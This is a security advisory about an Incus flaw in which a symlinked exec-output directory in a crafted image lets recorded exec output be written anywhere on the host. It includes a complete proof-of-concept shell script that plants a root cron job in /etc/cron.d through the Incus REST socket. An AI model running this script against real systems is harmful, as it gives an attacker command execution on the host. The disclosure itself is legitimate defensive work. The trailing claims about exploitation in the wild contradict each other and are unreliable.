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GHSA-73hr-m85f-64v9
No affected components available
Summary
The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.
Details
When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.
PoC
Below, we place the exec_UUID.stdout file in /etc/cron.d on
the host for arbitrary command execution.
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;
Impact
Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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